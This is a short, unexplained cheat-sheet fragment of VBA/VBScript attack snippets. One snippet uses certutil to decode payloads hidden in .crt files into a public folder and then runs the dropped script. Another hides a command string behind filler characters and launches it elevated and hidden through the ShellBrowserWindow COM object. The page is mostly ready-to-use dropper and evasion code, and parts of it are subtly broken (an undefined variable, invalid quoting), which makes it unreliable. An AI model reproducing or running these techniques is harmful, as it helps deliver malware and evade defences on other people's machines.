This is about … .
PowerShell
VBA
Dim WshShell, oExec
Set WshShell = CreateObject("WScript.Shell")
Set oExec = WshShell.Exec("certutil -decode one.crt C:\Users\Public\Documents\one.vbs")
WScript.Sleep 1000
Set oExec = WshShell.Exec("certutil -decode two.crt C:\Users\Public\Documents\xml.xml")
WScript.Sleep 1000
Set oExec = WshShell.Exec("cmd.exe /c C:\Users\Public\Documents\one.vbs")
Execute shell command through a ShellBrowserWindow COM object (docs).
aaa = "YVVoVVuVV VVaVVrVVeVV aVV lVVoVVkVVhVV.VV"
new_aaa = Replace(aaa, "VV", "")
Set obj = GetObject('new:c08afd90-f2a1-11d1-8455-00a0c91f3880')
obj.Document.Application.ShellExecute new_aaa, aaaa, Null, "runas", 0